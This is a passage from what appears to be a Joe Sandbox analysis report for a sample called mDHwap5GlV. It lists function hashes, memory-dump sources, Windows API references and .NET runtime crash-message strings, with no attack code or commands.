Snapshot File: hcaresult_0_2_9ee0000_mDHwap5GlV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 418f6abe25a8ff2c27919c44c160e759632251d22965af3143ee05e0fde5ac5d
Instruction ID: de9a77641a14c6cb41f1b8c2ab98a1a8b1f155943937f82da1ac24d14cebcb9b
Opcode Fuzzy Hash: 418f6abe25a8ff2c27919c44c160e759632251d22965af3143ee05e0fde5ac5d
Instruction Fuzzy Hash: A8E0C97B6116199BD7046F75FA4C45EBBEAFBC96223048669E50BC2380DF7C5C028BA1

Function 09F51F90 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2586133206.0000000009EE1000.00000020.00000001.00040000.00000003.sdmp, Offset: 09EE0000, based on PE: true

Associated: 00000000.00000002.2586115355.0000000009EE0000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586302023.000000000A03E000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586320007.000000000A045000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586339606.000000000A056000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ee0000_mDHwap5GlV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc4afe32db069341deaf8c0753d2a63f7fab328dbbb77613cdb3c8a89be57524
Instruction ID: 3b05975c55de7b8093b898006ea69b41950d9cf6d0a540b74941f731bb7308ce
Opcode Fuzzy Hash: dc4afe32db069341deaf8c0753d2a63f7fab328dbbb77613cdb3c8a89be57524
Instruction Fuzzy Hash: 6AF03032C0024E8BCB10DF96D5854FEBF78EF99720F145216E558B3650D7301A96CBD0

Function 09F13480 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2586133206.0000000009EE1000.00000020.00000001.00040000.00000003.sdmp, Offset: 09EE0000, based on PE: true

Associated: 00000000.00000002.2586115355.0000000009EE0000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586302023.000000000A03E000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586320007.000000000A045000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586339606.000000000A056000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ee0000_mDHwap5GlV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e19e43b78cbeef689187d828caeb125378e5f20338550147315cc5d0e4bd5376
Instruction ID: 8f59c7d8f348287b26712a90eeb5cbc7c0fac10c6993b25fb7d5ce7f7a677ee9
Opcode Fuzzy Hash: e19e43b78cbeef689187d828caeb125378e5f20338550147315cc5d0e4bd5376
Instruction Fuzzy Hash: DFF0DA32C0021F9BCF10DFA5E8488EEBB78FF55311F008216E955B6190E7792656CB90

Function 09F0FD10 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2586133206.0000000009EE1000.00000020.00000001.00040000.00000003.sdmp, Offset: 09EE0000, based on PE: true

Associated: 00000000.00000002.2586115355.0000000009EE0000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586302023.000000000A03E000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586320007.000000000A045000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586339606.000000000A056000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ee0000_mDHwap5GlV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b14ed1ecba9cf8475f115b92959d627f272be921101f77ae8503e1ca2d0f4ea1
Instruction ID: 55d1d5f22a0c284eb9546117ff640b9795b428453d82df64f5899dad0059a705
Opcode Fuzzy Hash: b14ed1ecba9cf8475f115b92959d627f272be921101f77ae8503e1ca2d0f4ea1
Instruction Fuzzy Hash: 0ED0173B70012857961426AAB818AABB7DEDBC4A62B080037FA0DC6240DAA98C0246E5

Function 09F0CBF0 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2586133206.0000000009EE1000.00000020.00000001.00040000.00000003.sdmp, Offset: 09EE0000, based on PE: true

Associated: 00000000.00000002.2586115355.0000000009EE0000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586302023.000000000A03E000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586320007.000000000A045000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586339606.000000000A056000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ee0000_mDHwap5GlV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57b105f01b50d21554318fccea173a07a25810311f5ffc7c1653c9c98f1513b9
Instruction ID: 15234d76d36a1aa59f375ca65a6615588e1fe334dd138a482cf596952d5205e5
Opcode Fuzzy Hash: 57b105f01b50d21554318fccea173a07a25810311f5ffc7c1653c9c98f1513b9
Instruction Fuzzy Hash: 17E04633601609EFC730AF75F4086A577ECEB8935A7000A79E44AC6690DB3AEC41CB81

Function 09F0EA50 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2586133206.0000000009EE1000.00000020.00000001.00040000.00000003.sdmp, Offset: 09EE0000, based on PE: true

Associated: 00000000.00000002.2586115355.0000000009EE0000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586302023.000000000A03E000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586320007.000000000A045000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586339606.000000000A056000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ee0000_mDHwap5GlV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5eb5774d7cf9141daacd910c9a406848e4a7455da9d286e62c94ec4f08d6df36
Instruction ID: 725908744168c6b0bbaccd00f5c7f46765cacd5ab1f15a4070bee669477c3fae
Opcode Fuzzy Hash: 5eb5774d7cf9141daacd910c9a406848e4a7455da9d286e62c94ec4f08d6df36
Instruction Fuzzy Hash: FAE0863B3102185B47046B59F60886E7BEFEBCC631319802AF606C3300CE7C8C0297D0

Function 09F135F0 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2586133206.0000000009EE1000.00000020.00000001.00040000.00000003.sdmp, Offset: 09EE0000, based on PE: true

Associated: 00000000.00000002.2586115355.0000000009EE0000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586302023.000000000A03E000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586320007.000000000A045000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586339606.000000000A056000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ee0000_mDHwap5GlV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5f53ff909c00e36f9e14d14112a64467cce76bf512a6858461e4329388d5d7a
Instruction ID: c93284a27b7ca286924265373bd68ac6220718645d9ec2735d8d32ee1b2a7cdc
Opcode Fuzzy Hash: f5f53ff909c00e36f9e14d14112a64467cce76bf512a6858461e4329388d5d7a
Instruction Fuzzy Hash: 4DE0BF3760011DABCB065F99F904CAE3BAAEBC86217148026FA16C6250CB758D219B91

Function 09F51AD0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2586133206.0000000009EE1000.00000020.00000001.00040000.00000003.sdmp, Offset: 09EE0000, based on PE: true

Associated: 00000000.00000002.2586115355.0000000009EE0000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586302023.000000000A03E000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586320007.000000000A045000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586339606.000000000A056000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ee0000_mDHwap5GlV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5484879af56a7aafb4451003a04c8039a3495b794218e4883d0cc2d736fdbd52
Instruction ID: fbda641b119f41d478611de79822955b5c433134df953c6311a995c6ae3ebb44
Opcode Fuzzy Hash: 5484879af56a7aafb4451003a04c8039a3495b794218e4883d0cc2d736fdbd52
Instruction Fuzzy Hash: 2BE0EC3AB0120DDBCB15DF75E64456D77BAEB4520171045A8E806C6240EF36DE00DB80

Function 09F13F20 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2586133206.0000000009EE1000.00000020.00000001.00040000.00000003.sdmp, Offset: 09EE0000, based on PE: true

Associated: 00000000.00000002.2586115355.0000000009EE0000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586302023.000000000A03E000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586320007.000000000A045000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586339606.000000000A056000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ee0000_mDHwap5GlV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2925f0a79020c35c0dc2cf899cc7c02709d9f4b70a56566e5a8c17770096d5f
Instruction ID: 36d819c29230d39fa2996adf378a700379f88d33aaadc2b12821156a62fb0c53
Opcode Fuzzy Hash: a2925f0a79020c35c0dc2cf899cc7c02709d9f4b70a56566e5a8c17770096d5f
Instruction Fuzzy Hash: BFE012376102188BC7585F71F85856537BEFB9576530441ADE506C7610CB7EDC40DB80

Function 09F51EC0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2586133206.0000000009EE1000.00000020.00000001.00040000.00000003.sdmp, Offset: 09EE0000, based on PE: true

Associated: 00000000.00000002.2586115355.0000000009EE0000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586302023.000000000A03E000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586320007.000000000A045000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586339606.000000000A056000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ee0000_mDHwap5GlV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7ddc91f55a965706519ba7277eb902f82236a502738e2cd77983046f590fd91
Instruction ID: 7349a440d1130c9b361f1ab0ac1493d343e9d6ab6ce154cab585d5c73ad2913b
Opcode Fuzzy Hash: a7ddc91f55a965706519ba7277eb902f82236a502738e2cd77983046f590fd91
Instruction Fuzzy Hash: FDD0123B700518AB47055A4AF40489ABB6BFBD97313148116F509C7320CA759D5287D4

Function 09F55210 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2586133206.0000000009EE1000.00000020.00000001.00040000.00000003.sdmp, Offset: 09EE0000, based on PE: true

Associated: 00000000.00000002.2586115355.0000000009EE0000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586302023.000000000A03E000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586320007.000000000A045000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586339606.000000000A056000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ee0000_mDHwap5GlV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c192318aeab5276f29603e1aeac05683c4153c9da2b706358149e4d9a0b68782
Instruction ID: a4bf10ffc30fe1502751d81cf35131536b8351cf8e621d1c7f7de3e71bbf2c5c
Opcode Fuzzy Hash: c192318aeab5276f29603e1aeac05683c4153c9da2b706358149e4d9a0b68782
Instruction Fuzzy Hash: A2E0B67690510CEBCB04DFA4EA096AEB7B8BB00341F5042A4E906D2150EB395F50DB40

Function 09F1A190 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2586133206.0000000009EE1000.00000020.00000001.00040000.00000003.sdmp, Offset: 09EE0000, based on PE: true

Associated: 00000000.00000002.2586115355.0000000009EE0000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586302023.000000000A03E000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586320007.000000000A045000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586339606.000000000A056000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ee0000_mDHwap5GlV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd2045c93806c6362d28d3e75feabc93047f08e9cb5cee75be9b9191d3c065b1
Instruction ID: 3a8479b32a0766968f521e99e47dc3a99a4182a74dc865e24d5eb5ac566ec275
Opcode Fuzzy Hash: fd2045c93806c6362d28d3e75feabc93047f08e9cb5cee75be9b9191d3c065b1
Instruction Fuzzy Hash: 95E04676E0020DAFCB00EF64E8459A9BBB9EB84300F10C2A9E80096250E6399A55CB80

Function 09F0E9E0 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2586133206.0000000009EE1000.00000020.00000001.00040000.00000003.sdmp, Offset: 09EE0000, based on PE: true

Associated: 00000000.00000002.2586115355.0000000009EE0000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586302023.000000000A03E000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586320007.000000000A045000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586339606.000000000A056000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ee0000_mDHwap5GlV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9cb288db0e607e5e21ef5370306af0d04402b427f312df3c4007cb0680a19321
Instruction ID: 6efc7c8dd9e033d2b20b97c75b06732a8f469f19e0c8d84a875b1f4a329d8b4a
Opcode Fuzzy Hash: 9cb288db0e607e5e21ef5370306af0d04402b427f312df3c4007cb0680a19321
Instruction Fuzzy Hash: 69D0C77770421C574604367A750C46A36DEE6C9561715042AF605D3600CD6D5C0147D4

Function 09F0F480 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2586133206.0000000009EE1000.00000020.00000001.00040000.00000003.sdmp, Offset: 09EE0000, based on PE: true

Associated: 00000000.00000002.2586115355.0000000009EE0000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586302023.000000000A03E000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586320007.000000000A045000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586339606.000000000A056000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ee0000_mDHwap5GlV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0ff6d701144fea7f6619610c599b18bb0f20d4ad697ffa83e6d778f801905c6
Instruction ID: 140666a9e41fbfa0e39293404896aecee1e91fc367ce5a426e8ccebed1e143a2
Opcode Fuzzy Hash: c0ff6d701144fea7f6619610c599b18bb0f20d4ad697ffa83e6d778f801905c6
Instruction Fuzzy Hash: CAC0123770011867C614256E7908BAA369DD7C9672F14402AF609D3240CDA95C0143E4

Function 09F482E0 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2586133206.0000000009EE1000.00000020.00000001.00040000.00000003.sdmp, Offset: 09EE0000, based on PE: true

Associated: 00000000.00000002.2586115355.0000000009EE0000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586302023.000000000A03E000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586320007.000000000A045000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586339606.000000000A056000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ee0000_mDHwap5GlV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 012dfd11a3009e14a115c570f132ab0216687296884165acfc489c50b8a32bef
Instruction ID: 5a7d6adbc7b4b54ffb041af79d9f1c7cb28b07968615ef8d718a4473acbb57b1
Opcode Fuzzy Hash: 012dfd11a3009e14a115c570f132ab0216687296884165acfc489c50b8a32bef
Instruction Fuzzy Hash: 28D0C975140308EBCB018F54E900EA97BA9FB48701F508059FD048A651C736E961EA60

Function 09F11E30 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2586133206.0000000009EE1000.00000020.00000001.00040000.00000003.sdmp, Offset: 09EE0000, based on PE: true

Associated: 00000000.00000002.2586115355.0000000009EE0000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586302023.000000000A03E000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586320007.000000000A045000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586339606.000000000A056000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ee0000_mDHwap5GlV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5023b903454c2517cce6456f58fe4f4c248b4d3efd99b1a959d5b85789e9c91e
Instruction ID: 7e7edc3d5715aa05c5e5fe1f1f0a780ea5ba36e6b06a2db1b54a064f502510b2
Opcode Fuzzy Hash: 5023b903454c2517cce6456f58fe4f4c248b4d3efd99b1a959d5b85789e9c91e
Instruction Fuzzy Hash: ADC0927360162CAB86153ABABA088DE7B9CEA49566304106BF60ED2600CEAE9C0047E5

Function 09F10260 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2586133206.0000000009EE1000.00000020.00000001.00040000.00000003.sdmp, Offset: 09EE0000, based on PE: true

Associated: 00000000.00000002.2586115355.0000000009EE0000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586302023.000000000A03E000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586320007.000000000A045000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586339606.000000000A056000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ee0000_mDHwap5GlV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5dd8b9ed9fe23fcd0ea379bfab6fdd24e7f1585ea1776dd7fb63958f9879a445
Instruction ID: aefce5ac883323b1b69d1abfd12fe248372e7562c367eb4582bbcea9e2571084
Opcode Fuzzy Hash: 5dd8b9ed9fe23fcd0ea379bfab6fdd24e7f1585ea1776dd7fb63958f9879a445
Instruction Fuzzy Hash: 5FC0923300130CCFC3446B64F04CAA477AEFF44706B9445BAE80E8A2128B3AAC00CB81

Non-executed Functions

Function 00B2EAD0 Relevance: 28.6, APIs: 5, Strings: 11, Instructions: 562memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,89ECF510,80131506,?), ref: 00B2EB72

Part of subcall function 00BD9580: GetModuleFileNameW.KERNEL32(00000000,00000000), ref: 00BD95FE
Part of subcall function 00BD9580: GetLastError.KERNEL32 ref: 00BD962F
Part of subcall function 00BD9580: SetLastError.KERNEL32(00000000,00000000), ref: 00BD9739

HeapFree.KERNEL32(00000000,?), ref: 00B2ED20

Part of subcall function 0096E280: HeapFree.KERNEL32(00000000,?,?,89ECF510,?,?), ref: 0096E328

Part of subcall function 00BCFF00: HeapFree.KERNEL32(00000000,00000002,?,?), ref: 00BD0018

HeapFree.KERNEL32(00000000,?), ref: 00B2F020
HeapFree.KERNEL32(00000000,?,00F20A84,7.0.20,.NET Version: ,00F20A84,7.0.2024.26716,?,00000000,?), ref: 00B2F2A6
HeapFree.KERNEL32(00000000,?,00F20A84,7.0.20,.NET Version: ,00F20A84,7.0.2024.26716,?,00000000,?), ref: 00B2F2CC

Strings

7.0.2024.26716, xrefs: 00B2F0D3
Description: The application encountered a bug. A managed code contract (precondition, postcondition, object invariant, or assert, xrefs: 00B2F261
unknown, xrefs: 00B2EEB8, 00B2EED2
.NET Version: , xrefs: 00B2F0ED
7.0.20, xrefs: 00B2F0FA
Description: The process was terminated due to an unhandled exception., xrefs: 00B2F1B6
Application: , xrefs: 00B2EC62
Description: The process was terminated due to an internal error in the .NET Runtime , xrefs: 00B2F20C
Description: The process was terminated due to a stack overflow., xrefs: 00B2F23B
Description: The application requested process termination through System.Environment.FailFast., xrefs: 00B2F1E3
CoreCLR Version: , xrefs: 00B2EF63

Memory Dump Source

Source File: 00000000.00000002.2565096556.0000000000961000.00000020.00000001.01000000.00000003.sdmp, Offset: 00960000, based on PE: true

Associated: 00000000.00000002.2565083682.0000000000960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565358381.0000000000E83000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FD5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FEE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_960000_mDHwap5GlV.jbxd

Similarity

API ID: FreeHeap$ErrorLastModule$FileHandleName
String ID: .NET Version: $7.0.20$7.0.2024.26716$Application: $CoreCLR Version: $Description: The application encountered a bug. A managed code contract (precondition, postcondition, object invariant, or assert$Description: The application requested process termination through System.Environment.FailFast.$Description: The process was terminated due to a stack overflow.$Description: The process was terminated due to an internal error in the .NET Runtime $Description: The process was terminated due to an unhandled exception.$unknown
API String ID: 3739261088-3827426911
Opcode ID: 4a373109997d8dc523dee2dbdb4d09e2067ec0aaa63d74a0d3a2fb730ad3bb65
Instruction ID: c220b5321ce50c4f7d0930a45d93aa0223f07a3938bed09f74e0506679510cdf
Opcode Fuzzy Hash: 4a373109997d8dc523dee2dbdb4d09e2067ec0aaa63d74a0d3a2fb730ad3bb65
Instruction Fuzzy Hash: 9B329170A0062A9BDB24DF25DD56BAAB7F4FF44300F1085E8E45DE7291DB74AA44CF80

Function 009B06A0 Relevance: 24.8, APIs: 12, Strings: 2, Instructions: 277COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(89ECF510,80131506,?), ref: 009B0712
RaiseFailFastException.KERNEL32(?,?,00000000), ref: 009B0840
IsDebuggerPresent.KERNEL32 ref: 009B08A1
SetErrorMode.KERNEL32(00000000), ref: 009B08B2
SetErrorMode.KERNEL32(00000000), ref: 009B08BC

Part of subcall function 00BC7140: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(89ECF510,80131506,?), ref: 00BC71AE
Part of subcall function 00BC7140: wcstoul.API-MS-WIN-CRT-CONVERT-L1-1-0(00000000,?,?), ref: 00BC71C2
Part of subcall function 00BC7140: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00BC71CE
Part of subcall function 00BC7140: HeapFree.KERNEL32(00000000,00000000), ref: 00BC71F2

IsDebuggerPresent.KERNEL32 ref: 009B08E5
SetErrorMode.KERNEL32(00000000), ref: 009B08FE
SetErrorMode.KERNEL32(00000000), ref: 009B0908
IsDebuggerPresent.KERNEL32 ref: 009B094E
DebugBreak.KERNEL32 ref: 009B095C
SetErrorMode.KERNEL32(00000000), ref: 009B0A1D
SetErrorMode.KERNEL32(00000000), ref: 009B0A27

Strings

D::RFFE: Return from RaiseFailFastException, xrefs: 009B085B
D::RFFE: About to call RaiseFailFastException, xrefs: 009B080F

Memory Dump Source

Source File: 00000000.00000002.2565096556.0000000000961000.00000020.00000001.01000000.00000003.sdmp, Offset: 00960000, based on PE: true

Associated: 00000000.00000002.2565083682.0000000000960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565358381.0000000000E83000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FD5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FEE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_960000_mDHwap5GlV.jbxd

Similarity

API ID: ErrorMode$DebuggerPresent$_errno$BreakDebugExceptionFailFastFreeHeapRaisewcstoul
String ID: D::RFFE: About to call RaiseFailFastException$D::RFFE: Return from RaiseFailFastException
API String ID: 2811416661-485428011
Opcode ID: 43cc5126195d4c3a6c17e23828a662423f5acfceb9c13109b19297a31cd2cafb
Instruction ID: f1999d059bc23bcaee28c376942973aa916979cf1679683e39f0d8d57a712267
Opcode Fuzzy Hash: 43cc5126195d4c3a6c17e23828a662423f5acfceb9c13109b19297a31cd2cafb
Instruction Fuzzy Hash: 27A1D671B003049FEB24DF65DE86BABB7A8EF85720F144569E919A72A1CB31AD04CB50

Function 00A21920 Relevance: 18.5, APIs: 12, Instructions: 470memoryCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,89ECF510,?,?,00000000), ref: 00A21A02
HeapFree.KERNEL32(00000000,?), ref: 00A21AEC
GetTickCount64.KERNEL32 ref: 00A21BB6
GetTickCount.KERNEL32 ref: 00A21C24
SetEvent.KERNEL32(0334B520,?,00000001,00000000), ref: 00A21C5D
GetTickCount.KERNEL32 ref: 00A21CAE
GetTickCount.KERNEL32 ref: 00A21D4E
GetTickCount64.KERNEL32 ref: 00A21D83
GetTickCount64.KERNEL32 ref: 00A21DC0
GetTickCount.KERNEL32 ref: 00A21E1B
QueryPerformanceCounter.KERNEL32(?,?,00000001,00000000), ref: 00A21ED9
QueryPerformanceFrequency.KERNEL32(00FCE658), ref: 00A21F1A

Memory Dump Source

Source File: 00000000.00000002.2565096556.0000000000961000.00000020.00000001.01000000.00000003.sdmp, Offset: 00960000, based on PE: true

Associated: 00000000.00000002.2565083682.0000000000960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565358381.0000000000E83000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FD5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FEE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_960000_mDHwap5GlV.jbxd

Similarity

API ID: Tick$Count$Count64PerformanceQuery$Counter$EventFreeFrequencyHeap
String ID:
API String ID: 2817905672-0
Opcode ID: 848ce164daf0f7c82f10658bd541b28376cb1414ac5798a8b6f9ceb135213f36
Instruction ID: 591aa333aa2f44cafe4396c4f333f8aa668e4f6c5bc6a5e6148896e081606a9b
Opcode Fuzzy Hash: 848ce164daf0f7c82f10658bd541b28376cb1414ac5798a8b6f9ceb135213f36
